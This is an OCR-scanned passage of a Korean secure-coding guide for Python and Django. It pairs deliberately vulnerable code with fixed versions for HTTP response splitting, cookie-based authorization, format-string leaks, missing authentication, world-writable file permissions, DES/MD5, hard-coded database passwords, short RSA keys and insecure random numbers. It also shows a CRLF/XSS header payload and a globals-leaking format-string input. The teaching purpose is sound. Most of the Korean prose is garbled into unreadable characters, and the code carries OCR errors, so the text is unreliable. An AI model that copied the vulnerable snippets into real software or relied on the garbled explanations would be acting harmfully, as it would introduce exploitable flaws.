https://owasp.org/www-community/attacks/Server_Side_Request_Forgery

® Server-Side Request Forgery Prevention Cheat Sheet, OWASP
https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet
.html
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13. HTTP 2=y
. L

[Request Parametar]

Gat)
e, g Tred= hittp: oo som, 00 0s
Comtent=Typa:+bant/him|: %0000 % 0d %0a () RN L0 SR BN

TEST{ncripthdkart] 355 k{/aoript)

/— (7} bt SIS RS S0

(3 http S B8

.

Saring r = request.getPammetes” ef)k

reanonas setk ssdar  Asfarar 1)

N

111
@

EeH

£ M
Hirtpf 1.1 200 OK

Refamrohitp:/ oo, com,’

Content—typa-text/him

TEST{script jalert] XS5 )2 script)
Content-typa: text/homlicharsat=150—
fa5a-1

[Rasponse headerhody]

HTTP 230 0 Y= M2t0|E{(Parameter)Zt HTTP SEGIIC0| IS0 ASKIOIA CrA| Mg o, 220
CR(CarriageReturn)O|Lt LF(LineFeed)2t Z2 JHHZXI7t ZXH5IH HTTP SE0| 274 O|ACZ 22|E 4= IOt 0] AL
J4k= HAZXE OI8sI0 X i SEHE B& Al7|, F B SEO| A4XQl FEE FYUSH0 XSS I HAIRE

o A

(CachePoisoning) 22 52 435t 4= QJC}

Python 3.9.5+ HT0|AS| URLValidator0fiM HTTP SEEY FOFH0| 2UEV|= Y oiF 2t0|2=2E MEdk=
DjangoH{TO|= F&H0| AL HTTP SEHESY SHALZEH KHS2A0[ME Aot XI7|2{F 2|4 HH| 2t0|=22{=],
-

S|
O |3E ALEot 2R A0 CHoid= EXSt AS ZUS +AoHOF ST

X IO20|E{9| 742 HTTP SHHH(MIE S0{, Set-Cookie S)0l ZEA|Z ZL CR(\), LF(\n)2t Z<2 JHH2XIS
M), 2 =a0| §lH, 71, 2O30 AEE d0= 4 i 2XIE *%35'_ SEo| A2ElE o2 S2
SIO|EZAER Kot & £ QOH SI0|EZAEZ X|SI5HHOF ©

[

E

Ch. 20X

AR QF0 3T S TEY U 23 20| SHU| AIZSts 39 HYRXIR o5 of2f o SHOE Hasof

AERIA HEE 5= UCE
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QFMstX| =2 =9 of

from django.http import HttpResponse

1
2
3.  def route(request):

4 content_type = request.POST.get(contnet-type')
5: # Q5 UHUS 435 E= THE oK ¢

6: # SHIEO o2 HSIA|IH 3|AISHTH,
VI

8 res = HttpResponse()

9 res['Content-Type'] = content_type

0 return res

4

SH Y2 oI5| sl \r, \ndt Z2 X0l CholiM X|2t = G2IX2| 510 SHEE0| YYSIX| U=S 0LsH0{0f
ct

obm3t A 0f
1: from django.http import HttpResponse
2:
3. def route(request):
4: content_type = request.POST.get(contnet-type')
55
6: # SEoIE ZE £ Uz AR UHY0 Tich JHARKE FABHCE
7: content_type = content_type.replace(\r, ")
8: content_type = content_type.replace(\n', ")
9 ...
10: res = HttpResponse()
11: res[Content-Type'l = content_type
12: return res
| 4

2t &A=

® CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Response Splitting),
MITRE,
https://cwe.mitre.org/data/definitions/113.html

@ HTTP Response Splitting, OWASP,
https://owasp.org/www-community/attacks/HTTP_Response_Splitting

® Django security releases issued, Django Software Foundation,

https://www.djangoproject.com/weblog/2021/may/06/security-releases/
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14. H2|s B0 AELE=

3
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o
114
Ji
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gl

Vi ]

o o)z
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BHXY AR K|

" = Ol NS

— =Te
— s
B M We QIE 7|

8802780] A YO LY NEE HHZ HSUALIEE MBSHE 39 BAW IS 2NE

HERISO0| E5| 771, gre E= 6%'59} 7.5*8 Bglo| 23 + GCYT 7KIGHTRY S ciatt e S
= 4 QICL QISOILE QI7It 242 HIOFAO| Of Q3T
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- HAH=2 —
I}O[449| Djagno ZUAI0IM MMS H2|ot=s 7SS MBSt U0 0] 7ISAHE Alol= MMTR7|9| Bt AHS
HHo10] AL = 2D DRF(Django Rest Framework)OllA HiZdt= E2 & MM 7ISS AI80t0] OtMotA F4E

r il'
-

AL MAEESt 22 S0t FEE MH0| XMESIL 2oteiol ZXte MHOA Aol
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Ch. ZE0)A|

ChE2 I B2 TEZ F7|0| MYE et SE= 714 AKX 2421 20| A8Ate] HAJYEE =7|st ot
HYS 2= GIFOICE 52NN 70N STS 742 92RI0M BH2|XIQIX| 2RIt ULt

J

1:  from django.shortcuts import render

2:

3:  def init_password(request):

4: # F7|01M #et SEE 8=

i roll = request.COOKIE['roll]

6: request_id = request.POST.get('user_id’, ")

7: request_mail = request.POST.get('user_email',")

8: # 701N 742 HTHo| 2| XHRIK|

9: if roll == ‘admin’
10: # AIBXIO| AQIE X7|3 2 oY wWad X2
11: password_init_and_sendmail(request_id, request_mail)
12: return render(request, '/sucess.html’)
13 else:
14: return render(request, '/failed.html’)

y
Q7|58 sHck= ™S 2ot HolEE fHE 71580l =2 F7|E0E MM HYSI=S St
orMst AE9| of

1:  from django.shortcuts import render

2

3. def init_password(request):

4 # ME0IN At HEE TINS

o roll = request.session['roll']

6: request_id = request.POST.get('user_id', ")

7 request_mail = request.POST.get('user_email',")

8 # MMM 7P 0| RE|XIRIX] |l

9: if roll == ‘admin’

10: # AXALS MARQIE x7|5 L oY US X

11: password_init_and_sendmail(request_id, request_mail)
12: return render(request, '/sucess.html’)

13 else:

14: return render(request, '/failed.html’)

| 4
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gf. A=

® CWE-807: Reliance on Untrusted Inputs in a Security Decision, MITRE,
https://cwe.mitre.org/data/definitions/807.html

@ How to use sessions, Django Software Foundation,

https://docs.djangoproject.com/en/3.2/topics/http/sessions/

® Flask Sessions,
https://flask—-session.readthedocs.io/en/latest/

58



PART HI2& AIROZE JI0I= | HITE L=OHIOIE &#S 2 B

A S0 auzac an @

- | T” -l-u-: CEL

-

L]
O

Software

s

@)

S
mn

local_oo_inil__globals_|secrel_global]

=235

QEZREH UHE US ASBSHK| %1 Y- ol X0 EXNEE R MESH= 49 Lie = U= EoroFHOo|Ct
SAXE= 20 ZAES 0[8ot0] Fofet T2 MAE SH5ALL HE2| LHES 7L & = ATt O 24}, SAX= ket
O2MAS| Hots FSot0 AUoo| ZEE Al & £ Ut

PythonOllAl= 2X1EQ| HEHE! HIHOZ “% formatting”, “str.format”, “f-string” 37IX| Yol EXIE HCHE! HAIS
HiBot ULt f-string YHS Python 3.65H TQIE HOHE! BiHHOIC ZZXH= Zo EXES 0|61 WE HES
ZAEE OIE = CH, 0|F Hetoh= 42 RO 52 FEIJI K8 &+ UL

Z EXEE M8ols erE AEY T ASA 2 as M ZAEZ ALEoHALE XU EXHE 40
ZSIAIZ|X| Q4OF0F BITt ALSXAOIA| A2 HIOIEE ZH ZAEZ Aot A 5t ZR0=E MAXIYAE ZeloHA|
7Lt Tfo|Mel Lhgels = WEHs SO0| XX =5 oo oit.

Ct. 00|

of2ff GiAIOIAE QAR0A Y2 EXES HIZ IHAEZOZ AMEsl Q=0 Ol T HEJL QB2 &2 £

U= ZHE LHESIL QAL

ZAXZL # {user._init_._ globals_ [AUTHENTICATE_KEY]} &Alo| 2Xt& Q2 A| Z2H 20| HI5l0]
AUTHENTICATE_KEYQ| ZtS 25| &t 4 QiCt.
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1:  from django.shortcuts import render
2:  AUTHENTICATE_KEY = 'PasswOrd'
3:
4:  def make_user_message(request):
5: user_info = get_user_info(request.POST.get('user_id’, "))
6:
7: format_string = request.POST.get(msg_format', ")
8: # UR9 Dizet "t of2 =E5E 4 UCh
9: # AMEAE Lot EAES 0 FAEE AREotl U0 QHMGHA| QAT
10: message = format_string.format(user=user_info)
19e
12: return render(request, '/user_page', {message"message})
| 4

QIEON YHLUZ2 ZAE2 HEA ZUXIHAE 01Z510] HIQIYSHH ALES0{0F ot XHXOZ EHRXNEZ ME
aiM= 2 EC.

Qbmsgt FCO| off

from django.shortcuts import render
AUTHENTICATE_KEY = 'PasswOrd'

def make_user_message(request):
user_info = get_user_info(request.POST.get('user_id', "))

# MEXPE Ust EAES ZH EAGR ALESHK| Qo FXSiTt
message = 'user name is {}'.format(user_info.name)

L2 RLON 2

—

return render(request, '/user_page', {message':message})

N

gt U=
(® CWE-134: Use of Externally-Controlled Format String, MITRE,
https://cwe.mitre.org/data/definitions/134.html|

@ Format string attack, OWASP,
https://owasp.org/www-community/attacks/Format_string_attack

® Python format, Python Software Foundation,
https://docs.python.org/3/library/functions.html#format

@® Format String Syntax, Python Software Foundation,
https://docs.python.org/3/library/string. html#format-string—syntax
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=X

(MY E8, 208 UE) £2 HO|E

. B M (AEE, o)

HOIS(RIB, IO, 712, ¥sst HohtE| §)2 FHESH 78 Al YT 5+ U= HOEoZ MAHSH 015
9= ER7Is o8, FAHS QU 50| B

IO[M9| Django EAXINA django.contrib.auth ¥S S50 7|=2X{01 0I5 2791 2 Z0IR 7|58 XI5t
ASH DRF(Django REST Framework)OlAM= E2 2 MM 2152 HSotd UCH

2f0|HEC| HOIHAIE R3|510] AMH 0| HIZ5HK| RIS AAISt e 55 MEIt U= HO|K|= J(H
OrMSICt Y S S 2t0|E22 Lt TRl3 (Django authentication system, Flask-Login )& A

Ct. F =0l
MARIS 3 A $3% S0 HARSS DB0) HUS AER HARE LX) Ol

E

IHAQICO| THEIQ| MRIE MZFE|0] QUL

QISHR] 2411 X{2lotl ACH

g
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1:  from django.shortcuts import render
2. from re import escape
3: import hashlib
4.
5:  def change_password(request):
6: new_pwd = request.POST.get(new_password',")
7:
8: #2015t A EAREE
9: user = '%s' % escape(request.session['userid])
10:
11: #21M password®?t UX|HEE =QIGHK| Q1L Tt
12: sha = hashlib.sha256(new_pwd.encode())
13: update_password_from_db(user, sha.hexdigest())
14:
15: return render(request, '/success.html’)
y

DBO| MEE ALEAt IAERL HE QT IHAES] UX|

2x of
HETH LX[ol=A| 22! = DBO| MAAEE +Fol=F ol s

iy
Jor

[QIBI7LE ¥ 28 A= o Hhaol A

8% 4 k.

1

—_ e
1:  from django.shortcuts import render
2. from re import escape
3. import hashlib
4:
5. # login_required decoratorE AFE5IH loginE AMSAEE MISHESE A2
6: @login_required
7: def change_password(request):
8: new_pwd = request.POST.get(new_password',")
9: crnt_pwd = request.POST.get(current_password',")
10:
11 # ME0IN 2005 AFBAFEES 7EM2L.
12: user = '%s' % escape(request.session['userid)
135
14: crnt_h = hashlib.sha256(crnt_pwd.encode())
15: h_pwd = crnt_h.hexdigest()
16:
17: # DBOIAN 7|Z= AM2XAtS] Hash® IAE JHH7|
18: old_pwd = get_password_from_db(user)
19:
20: # ARES WG| ™ ALSXI0| CHa XHRISTHTY.
21: if old_pwd == h_pwd:
22: new_h = hashlib.sha256(new_pwd.encode())
23: update_password_from_db(user, new_h.hexdigest())
24 returnrender(request, '/success.html’)
| 4
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gt Xz
® CWE-306: Missing Authentication for Critical Function, MITRE,
https://cwe.mitre.org/data/definitions/306.html

@ Access Control, OWASP,
https://www.owasp.org/index.php/Access_Control_Cheat_Sheet

® Using the Django authentication system, Django Software Foundation,
https://docs.djangoproject.com/en/3.2/topics/auth/default/

@ Flask-Security,
https://flask-login.readthedocs.io/en/latest/
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e | — —
7t ML
=xn|
N — XY
o T o M)
) .
T ACL BB ACL
a =
== e
» % DB MeH
LE B o= M
2%}

: 1
@

D20 2 7tse &3 Z=00| oA E2 MOIE HAGH| B7LE S2ToHH HAlsks 8%, S4Xits &2 7ts¢

NYHRE SO YEES REY 4 ULk

S8OZIM0| MSots HES} 7|s8 & M2t HIESC2M SHXNA LE5= SH=EH (Attack Surface)S
Z|Aslotl AF2ARe| H&H| 2 ACL(Access Control List)S Zt2|SHC}.

Ct. ZEOA|

AEAE & 20| M2t ARAYUS Aot QACH, AEAS| Tt HelS ?let

TIE

T SHPE MEEX| ¢4 UL

from django.shortcuts import render
from .model import Content

def delete_content(request):

action = request.POST.get(action’, ")

content_id = request.POST.get('content_id', ")

#&MY Q™S otz ARBKAISl #at =2l gl0| deleteE =

if action is not None and action == "delete":
Content.objects.filter(id=content_id).delete()
return render(request, '/success.html’)

else:
return render(request, '/error.html’, {'error:" &2 H&H0| QELICET

@G R W=

4_\4
N = o ©
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MlEo MEE MEA BEHE Soll oliid ALEAZE s Ao et HSto]

TUSt==F ofiof oiLt.

1:  from django.shortcuts import render

2. from .model import Content

3:

4:  @login_required

5. #olld /sS Y HF0| U=A| =0l

6: @permission_required('content.delete’, raise_exception=True)
7. def delete_content(request):

8: action = request.POST.get(‘action’, ")

9: content_id = request.POST.get(content_id', ")

10:

11: if action is not None and action == "delete":

12: Content.objects.filter(id=content_id).delete()

13: return render(request, '/success.html’)

14: else:

15: return render(request, '/error.html’, {'error':'AtK| MI{7})

cf. EoXt=z
® CWE-285: Improper Authorization, MITRE,
https://cwe.mitre.org/data/definitions/285.html

@ Access Control, OWASP,
https://www.owasp.org/index.php/Access_Control_Cheat_Sheet

® Using the Django authentication system, Django Software Foundation,
https://docs.djangoproject.com/en/3.2/topics/auth/default/
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3. SQT IHAl et 2=E Ho 43

Vi ]

[T

EHele| o g MY} IS

e == ﬁ - EI':”E!‘-"EI

—

—
Fe OjoE B2 W — g
M 2| A LE —

=35 M

DB

SSI2TIH0| St HotHH XHE0f tote] 87| = a7Joly| Hets Xk 8 oivte 32, detE #A 2
MERZ} ol AHES ALE5H T

PythonQ| os.fchmod, os.chmod 52| &+ ALE5i0] MY M L 7| ZE0N Aot

AYMY, I, 2t0|222) S2 SW Z2|XH0f SHAME §11 M7t JESOIES Aoty 2% mfgat 0] SQet

MES AESHs 82, o7t | §2 ABAPE S8t Ao M2 7ts SHX| ZARRIC

LT

Ct. FE0|H|
CHZ GilFl= /root/system_config IO CHSHM ZE ARZXAEZF 917], M7|, Ao MBS 7HX[H| Lt

1. def write_file():
2: #2E ABAPL 97|, A7), Al #Hets THKA 2.
3: os.chmod('/root/system_config', 00777)
4:
by with open("/root/system_config", ‘W) as f:
6: f.write("your config is broken")
OUOf| CHoM= Z|APEetS 2HalOF STt & oY M| ARKIGAHTH 7] HEHEH 20{otl M7 0| RS 42

02t M7| HBIS HOFBIT,
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def write_file():
#ARA 0= OfFH HeE FX| U3,

os.chmod('/root/system_config', 00700)

with open("/root/system_config", “w') as f:
f.write("your config is broken")

et Xtz

® CWE-732: Incorrect Permission Assignment for Critical Resource, MITRE,
https://cwe.mitre.org/data/definitions/732.html

@ OS - Miscellaneous operating system interfaces, Python Software Foundation,
https://docs.python.org/3/library/os.html
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4. Fogt A2 2IdE AIE

Vi ]

=R wnat

o2
jai
|

SW HURISS AL TN XA HAISS HE5| YI5t0] 21Tt ol 42 08 5101 HAYIES

{12 AIGSPIE BICh IRt base64%t 22 XILII| ZHEe 1Y 425 MAQICE NO2 B5% 4 gk

HEES SHOIA FHOBILE SIS YSs YTASS ALZaiAS O BiC,
BH= 212 AR} LTSS 2A6I0] P 4 Ui TH54S 5 4E 9
HEE|| 50| SFATO| T2t FUHKZI S, HHO= HESHSH T & 0] 2 HORITD YEIH TS
HZEo|Lt H AIZE LHOf| si=E|7|= StCh RC2 (ARC2), RC4 (ARC4), RC5, RC6, MD4, MD5, SHA1, DES 112|Z0|
017101 SHZEICH,

Python 20iM= PyCryptoE ARESIRXITE Python 30Al= PyCrytoE 7§45t PyCryptodomesE ARE3SI0{0F SiCE
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| HI2&Z Hebis

HBIIE ver3.0 (YSEEAR7IB) )

2z &g

I

ESEAS = * 112HIE
- 29nc
ARIA - 7|2M(ECB, CBC, CFB, OFB, CTR)
- 7|2M/QIE(CCM, GCM)
gkl
_ SEED - 7|2M(ECB, CBC, CFB, OFB, CTR)
sRd= - 7|2A/9I5(CCM, GCM)
(RYzc)
- 29nc
LEA - 7|ZAM(ECB, CBC, CFB, OFB, CTR)
- 7|2X/QI=(CCM, GCM)
- 2YmC
HIGHT - 7|YM(ECB, CBC, CFB, OFB, CTR)
SHA-2 * SHA-224/256/384/512
CINEES LSH * LSH-224/256/384/512/512-224/512-256
SHA-3 * SHA-3-224/256/384/512
HAI] ShAIgte 7|8t - HMAC
A5 2205 7|8t - CMAC, GMAC
SHAlSte 7|8t * Hash_DRBG, HMAC_DRBG
LA |

+ CTR_DRBG

+ 37| &0l : 2048, 3072

=7 o ol
S| ¥ RSAES - SAIEH © SHA-224, SHA-256
- ZKF| 20| : 2048, 3072
RSA-P o ’
SA-PSS « BAIEIA : SHA-224, SHA-256
- @7H7] Z00], HQI7| ZUO0]) : (2048, 224), (2048, 2
KCDSA &o [I Z10|, J§Q17] Z0J) : (2048 ), (2048, 256)
- SAISIA : SHA-224, SHA-256
MR
- p-224, p-256, B-233, B-283, K-233, K-283
EC-KCDSA -
C-KCDs - BA[EIA 1 SHA-224, SHA-256
- p-224, p-256, B-233, B-283, K-233, K-283
ECDSA - SHAIEI4 © SHA-224, SHA-256
DH - (@JH7] ZO|, HQI7] ZI0]) : (2048, 224), (2048, 256)
7| ¥y
ECDH - p-224, p-256, B-233, B-283, K-233, K-283
KBKDF - HMAC, CMAC
| 9%
PBKDF - HMAC
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Ct. ZEOA|
LS GIRIE /98t DES YT2IE02 U555t ULt DES 0]9/0f 3DES, Blowfish, ARC2, ARC4 59| F o5t

UE|ES AEoHA| H=H

Lol_

import base64
from Crypto.Cipher import DES

def get_enc_text(plain_text, key):
# Florst &St AL1Z|EQI DESE AMESIH MoK ¥S
cipher_des = DES.new(key, DES.MODE_ECB)
encrypted_data = base64.b64encode(cipher_des.encrypt(plain_text))

© @ H @G R WY =

return encrypted_data.decode('ASCII")

pycrypto 2t0|E2{2]= python 3.xHH BHZA0A AL A| SXS 5IX| oHe A7} LAMGHH, Of 0|A QX2 EIX|
9toTE pycrypto= 7HA3H pycryptodomeZS AFRSICE Fokst D
Apgsict.

25 UssloIN 2YZEE ECB(Electronic Code Block) ZEE AKEE AL St 7He| S=0t SHEEM LIMX| 22% sH=0|

&= o®0| Ut CBC(Cipher Block Chaining) EE= HE9| 2t £20| XORGAS %sn O™ er&=2at SAt0| 7|
20| Ze LW20|2t: US 20| MZ Ci2C} 0]2{5t EAMOR HOMM0| ECB ZEHL}

nH

import base64
from Crypto.Cipher import AES

def get_enc_text(plain_text, key, iv):
# QMM UL1Z|EQ AES & AtSot0] QtHE
cipher_aes = AES.new(key, AES.MODE_CBC, iv)
encrypted_data = base64.b64encode(cipher_aes.encrypt(plain_text))

DD FEG R =

return encrypted_data.decode('ASCII")
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TS Odl= Fofst MD5 ai+latE AR8st QUL

1:  import hashlib

2

3:  def make_md5(plain_text):

4: # FoSt mds SR Al

By hash_text = hashlib.mdb(plain_text.encode(utf-8")).hexdigest()
6

7

return hash_text

4
Or2f TEXMY Moty LTl sha-256 oi+lele S= HESHOF St
st 22| of
1: import hashlib
2
3:  def make_sha256(plain_text):
4: # OIFSt sha-256 Sli4|ake Al
53 hash_text = hashlib.sha256(plain_text.encode('utf-8').hexdigest()
6
7 return hash_text
| 4

2t &A=

® CWE-327: Use of a Broken or Risky Cryptographic Algorithm, MITRE,
https://cwe.mitre.org/data/definitions/327.html

@ Welcome to pyca/cryptography, Cryptography,
https://cryptography.io/en/latest/

® Welcome to PyCryptodome’s documentation, PyCryptodome,
https://www.pycryptodome.org/en/latest/

@ Cryptographic Services, Python Software Foundation,
https://docs.python.org/3/library/crypto.html
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0. 22X %2 SQEH
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111
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2 H=22|L HASOM S8t YEONIYE, AISHEE, 384E S)& M2t 0[2{% QYR M=
2SR S E2, HOO|U HO[H2 FAYS S & ULh 55| AEAt = AlAHS SQYEIF 2 H0|HE 82
o

O &l E= MYEY W QVIEX] 42 ALEAIA 2t ZEIt =22 5 UCL

!

| Iy By wi)
JIHE(FUSEHS, (EHHS §), 2BFE(IEHS, AXHS §), HAYE S FLHEE NEGHHL ELMER
HEE M= BN ASst IFES 7RO 6lH SQEEE ALL & AR HFRIS S2 Sl HEst AASAE SQEE
HII== &lof it

Lot A2 SSL EE HTTPS S 22 WOt AS A0} 5101, HTTPSS 22 HOt MidS AMS7LL HateX
2710l EL HOIES Aok 22, 271K Hote8S HHGIOEx. secure = True) ZREHS| =ES YKL,

Ct. ZEOIA|
- SREN BENY

Ol GiiMl= AFSAIZRE! M2 HIZHS ASSIE F2iet ZR0|C

1. def update_pass(dbconn, password, user_id):

2 curs = dbconn.curs()

3: # ASSIEX| I2 HUHSE DBO| XN&Hot= 42

4 curs.execute(UPDATE USERS SET PASSWORD=%s WHERE USER_ID=%s', password, user_id)
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2

from Crypto.Hash import SHA256

1

2

3:  def update_pass(dbconn, password, user_id, salt):

4: # HHSE USSE 0|Z05I0 HIZHSE U35}

5: hash_obj = SHA256.new()

6: hash_obj.update(bytes(password + salt, 'utf-8")

7 hash_pwd = hash_obj.hexdigest()

8 curs = dbconn.curs()

9 curs.execute(UPDATE USERS SET PASSWORD=%s WHERE USER_ID=%s', (hash_pwd,
user_id))

* 30%FE FETS

Ol CiiRl= QAR Z HE U2 WAYEE AF Q0| HIEHIE Sdlf MSot ALt TE &2 WAL YSst

0] UA| 42 42 WA ALYE S50 MAYET &8 5 UL
obHatR| ot FEQ| o
1:  import socket
2
3: HOST = '127.0.0.1'
4: PORT = 65434
B
6: def send_password(password):
7
8: with socket.socket(socket. AF_INET, socket.SOCK_STREAM) as s:
9: s.connect((HOST, PORT))
10: # MARIES AS3t ofA| 441 &S0 QHFHGRK| RLCt.
11: s.sendall(password.encode('utf-8")
12: data = s.recv(1024)
18 e
4
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Otei= HERFE Soff M= MAASIE LEEX| $ES A2slot0] MEotl QUG

1:  import socket

2. import os

3:  from Crypto.Cipher import AES

4.

5. HOST = '127.0.0.1"

6: PORT = 65434

Ve

8: def send_password(password):

9 .

10: block_key = os.environ.get(BLOCK_KEY')

11:

12: aes = AEScipher(block_key)

13: # HAQIES EQ8EE YS3lotH HESt=AH QHHoiLt.
14: enc_passowrd = aes.encrypt(passowrd)

15: with socket.socket(socket. AF_INET, socket.SOCK_STREAM) as s:
16: s.connect((HOST, PORT))

17: s.sendall(enc_passowrd.encode(utf-8")

18: data = s.recv(1024)

19

20:

21:  class AEScipher:

22: BS = AES.block_size

23:

24: def __init_ (self, s_key):

25: self.s_key = s_key

26:

27: def pad(m):

28: return m + bytes([BS - len(m) % BS] * (BS - len(m) % BS))
29:
30: def encrypt(self, plain):
31: plain = pad(plain.encode())
32: iv = os.environ.get(IV_KEY")
33: cipher = AES.new(self.s_key, AES.MODE_CBC, iv)
34: return (iv + cipher.encrypt(plain))
For eeee

gf. A=

® CWE-312: Cleartext Storage of Sensitive Information, MITRE,
https://cwe.mitre.org/data/definitions/312.html

@ CWE-319: Cleartext Transmission of Sensitive Information, MITRE,
https://cwe.mitre.org/data/definitions/319.html

® Password Plaintext Storage, OWASP,

https://owasp.org/www-community/vulnerabilities/Password_Plaintext_Storage
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6. OI=dE LFY

7} M

S=REHE ge
Connection( url.id,”pwd™ )

i}

Hipigl= 82 71

-

v

Bl S 8

i Software
44 S8 gog

D273 FC LY SIEZEE WAREES TSNS, 0| 0|85 WS A0 AEotHLE 2F HEUER} SAMS
St 42 2Xte] HEI & 2 4 AN YSGICE ESt SIETEE ASst 7|E A0 ASSIE 43lotH USSR
HEIL REE 71s40| SO0RRILE 257|9 SitlE ALMSIH XNESHHEI: HAMO| 7HS3H0 HMOE FAEH =4
(Brute—Force)aZi0ll= F|okst £ UL}

Lt QX IHIH

IHAQEE S5t 5H0 Ho| MU XNZGt0] ALESICE, Est SQYHE USSISHH, ATt Of UG5t 7|12 A

SI=E SHH ASst EACIE AATE LHEO| A4 HEHO| ASS 7|8 NAGHA ALE0HK| I== SiCt

Ch. 0] x|

AATEO| WAQIE Ei 53t 7| 22 52 YIS SIETY of= 22, BRI} =52 4 0| ¢

ook
_O'E
o

import pymysg|
def query_execute(query):

# usre, passwd’?} AATEN HEOZ SIEIYHEN US

dbconn = pymysgl.connect(host='127.0.0.1', port='1234', user='root', passwd='1234',
db="mydb', charset='utf8')

curs = dbconn.cursor()

curs.execute(query)

dbconn.commit()

dbconn.close()

B Wy =
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HAQIEQ 22 SQYEE QMo Y&at YAOZ AT B9l FalE ST XEoH0F i, ASEHE

TQYEE MEdl/| floiMs 528t €S HXOF BiC.

10 import pymysgl

2. import json

3

4:  def query_execute(query, config_path):

55

6: with open(config_path, 'r') as config:

7 # MHMANM user, passwdZS 71Kt AR

8: dbconf = json.load(fp=config)

9: #USEO U= EEYSS 7IE =53 oM JHHRE

10: HAEA HO| al

11: blockKey = get_decrypt_key('blockKey’)

12: # 30U Y2EEHN U= WS 7MLt == 20| A

13: dbUser = decrypt(blockKey, dbconf['user)

14: dbPasswd = decrypt(blockKey, dbconf['passwd’)

162

16: dbconn = pymysgl.connect(host=dbconf['host], port=dbconf['port], user=dbUser, pass
wd=dbPasswd, db=dbconf['db_name’], charset='utf8')

17: curs = dbconn.cursor()

18: curs.execute(query)

19: dbconn.commit()

20: dbconn.close()

et &A=
(» CWE-259: Use of Hard-coded Password, MITRE,
https://cwe.mitre.org/data/definitions/259.html

@ CWE-321: Use of Hard-coded Cryptographic Key, MITRE,
https://cwe.mitre.org/data/definitions/321.html

® Use of hard-coded password, OWASP,

https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password

@ Password Management Hardcoded Password, OWASP,
https://owasp.org/www-community/vulnerabilities/Password_Management_Hardcoded_Password
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f2st LIRSS AMEdIHEE 7| 20|17t SE0| ZA| E2H &2 Al 20| 7|1E ROt —1‘— AL O|IF 0|3l SAXL
ASSHE CIO[ELt HAJEES F38t & 4 A 2

112HE 112 112 2048 2048 224 224 U1 SN
2030E LR
128 H|E 128 128 3072 3072 256 256
192 HIE 192 192 7680 7680 384 384 20304 0f%
206 HE 250 256 15360 15360 512 512
L} ormst IHI|H

RSA €112|E2 X0 2,048 HIE O[AQ| ZO|E 71X 712t &7 AFESHOF 5t, iE Y5t Y2|E(Symmetric
Encryption Algorithm)2| ZR0= X0 128H|E 0|A9| 7|2 AIZSICt.
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Ct. ZE0A|

HOMY0| Bt RSA LTRIZS AIBSH= ZROIT 7| AOIXS A7 AFGHR Z2Io| HolobHo| wayEr 4 ULk

obstx| o2 T of

1. from Crypto.PublicKey import RSA, DSA, ECC

2. from tinyec import registry

3: import secrets

4:

5.  def make_rsa_key_pair():

6: # RSA7| Z0|2 1024 HIEZ MASH= A QHXGHX| e

7: private_key = RSA.generate(1024)

8: public_key = private_key.publickey()

9:
10:  def make_ecc():
11: # 2015FEE ECC 7| Z0|E 256 HIE 0|42 AQtot US.
12: ecc_curve = registry.get_curve('secp192r1’)
13: private_key = secrets.randbelow(ecc_curve.field.n)
14: public_key = private_key * ecc_curve.g

| 4
RSA, DSAQ| AL 7|9 Z0|= MO 2048 HIE ECCQl ZA< 256 HIE O|ACZ MHSICE
Of2lf OilX| & ECC 7| MME tinyec 2ES AIESI0] ECC 7| Mot OX|O[CE,
QLM ATl of

1: from Crypto.PublicKey import RSA, DSA, ECC

2. from tinyec import registry

3. import secrets

4.

5:  def make_rsa_key_pair():

6: # RSA7| ZO|E 2048 HIE O|de= ZH 4F

7: private_key = RSA.generate(2048)

8: public_key = private_key.publickey()

9:

10:  def make_ecc():

11: # ECC 7| Z0|E 256 HE O|¢e=z &%,

12: ecc_curve = registry.get_curve('secp256r1’)

13: private_key = secrets.randbelow(ecc_curve.field.n)

14. public_key = private_key * ecc_curve.g

| 4
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ol &A=

(® CWE-326: Inadequate Encryption Strength, MITRE,
https://cwe.mitre.org/data/definitions/326.html

@ FEDERAL INFORMATION PROCESSING STANDARDS PUBLICATION (FIPS PUB 186-4), NIST
https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-4.pdf

® PyCryptodome-RSA,
https://pycryptodome.readthedocs.io/en/latest/src/public_key/rsa.html

@ s Lu=E ¥ 7| ZOo| 0|8 QHHA, KISA,
https://www.kisa.or.kr/jsp/common/downloadAction.jsp?bno=259&dno=82&fseq=1

® DSA, Pycryptodome,
https://pycryptodome.readthedocs.io/en/latest/src/public_key/dsa.html

® ECC, Pycryptodome,
https://pycryptodome.readthedocs.io/en/latest/src/public_key/ecc.html
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AMEdhe A2 LA™ EooFHE |EUSIY. 0E S7tstt AV 2R JEUM KIF 7ttt
7

=
=
B, SAX= SWOHIM ddEl= Og IS Gldste AlA”SE SZHsk= XO|

*}%@Ef
pythonOlAl random 2E2 F2 H=EX0| Ot AR, = X AIZ01HES 2ol ZA=ACE. MM ID, g=2sl7| S
HOrAHS floh gts Yol HAAYS +Hols 0= Y2st SHOZ HAE secrets ZES AIESIC,

secrets ZE2 python 3.6 OIJOIMZE ARSE 4= UCH AT, A 2T, e B2} Z2 HO0[HE Hlok=t Hgtet

ZHet 8 Yol ol AZEM

python 3.6 O|8l0flAl= os.urandom(), random.SystemRandom ZHAE ALE5H= Zd0| QHHSILY.

Ct. ZE0A|

random 2{0[EE{2| ALZA|0= t.'_fEAI /oM
H2t SiHEtE 2/t R7] HRo| 2HEEE 9—@ t* OIR)KIOH‘.: 9_*._3} | BT
%

Y= seed 2 AIESI¥ L HOO|Lt S
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1:  import random

2

3:  def get_otp_number():

4: random_str = "

155 # AAE SX AIZE S AERE ARE, EHANS 2ot

6: # H=s== QMHSEK| QLT

7: for i in range(6):

8: random_str += str(random.randrange(10))

9:
10: return random_str

4
CH2 OIM ZE= secrets 20|H2{2|E ARSI 6XI2|Q| H=Efs MAMSk= 21t OfF|0|CH.
orH3t Aco| o

1:  import secrets

2:

3:  def get_otp_number():

4: random_str = "

b

6: # HOUIS0| MEet Ha WEE secrets 2f0|HE] AL

7: for i in range(6):

8: random_str += str(secrets.randbelow(10))

9:

10: return random_str

| 4

import random

import string

def generate_session_key():
RANDOM_STRING_CHARS = string.ascii_letters+string.digits
# random 2t0|E2{2]= 27|50 ALSotH fIlotct
return “"_join(random.choice(RANDOM_STRING_CHARS) for i in range(32))

N2 @R =
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OtMSt secrets 2HO|E2{2|E A

ol

import secrets
import string

def generate_session_key():
